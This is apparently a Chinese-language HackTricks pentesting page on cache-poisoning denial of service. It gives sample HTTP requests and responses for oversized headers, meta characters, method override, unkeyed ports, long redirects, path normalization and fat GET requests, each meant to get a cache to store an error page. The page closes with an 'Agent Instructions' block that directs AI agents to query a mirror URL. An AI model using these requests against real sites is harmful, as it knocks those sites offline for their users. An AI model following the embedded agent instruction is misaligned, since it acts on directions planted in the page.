# Cache Poisoning to DoS

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

{% hint style="danger" %}
在此页面，您可以找到不同的变体，尝试使**Web服务器以错误响应**对**适用于缓存服务器**的请求进行响应
{% endhint %}

* **HTTP标头超大（HHO）**

发送一个带有比Web服务器支持的标头大小更大但比缓存服务器支持的标头大小更小的请求。Web服务器将以400响应进行响应，该响应可能会被缓存：

```
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```

* **HTTP Meta Character (HMC) & Unexpected values**

发送一个包含一些**有害的元字符**，如和的标头。为了使攻击生效，您必须首先绕过缓存。

```
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```

一个糟糕配置的标头可能只是`\:`作为一个标头。

如果发送了意外的值，比如意外的Content-Type:，这也可能起作用。

```
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
```

* **未加密的标头**

一些网站会在请求中看到特定的标头时返回错误状态码，比如 *X-Amz-Website-Location-Redirect: someThing* 标头：

```
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
```

* **HTTP方法覆盖攻击（HMO）**

如果服务器支持使用诸如 `X-HTTP-Method-Override`、`X-HTTP-Method` 或 `X-Method-Override` 等标头更改HTTP方法。可以请求一个有效页面并更改方法，以便服务器不支持该方法，从而导致缓存了错误的响应：

```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```

* **未加密端口**

如果主机头中的端口在响应中反射，但未包含在缓存键中，则可能将其重定向到未使用的端口：

```
GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
```

* **长重定向拒绝服务攻击**

就像下面的例子一样，x 没有被缓存，因此攻击者可以滥用重定向响应行为，使重定向发送一个如此庞大的 URL 以至于返回错误。然后，尝试访问没有缓存的 x 键的 URL 的人将收到错误响应：

```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```

* **主机头大小写规范化**

主机头应该是不区分大小写的，但一些网站希望它是小写的，如果不是，则会返回错误：

```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
```

* **路径规范化**

某些页面会返回错误代码，将数据以 URLencode 的方式发送到路径中，然而，缓存服务器会对路径进行 URLdecode 处理，并将响应存储为 URLdecoded 路径：

```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
```

* **Fat Get**

一些缓存服务器，比如Cloudflare，或者Web服务器，会阻止带有主体的GET请求，因此这可能被滥用来缓存一个无效的响应：

```
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit
```

## 参考资料

* <https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52>
* <https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52-------------------------------->

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/cache-deception/cache-poisoning-to-dos.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
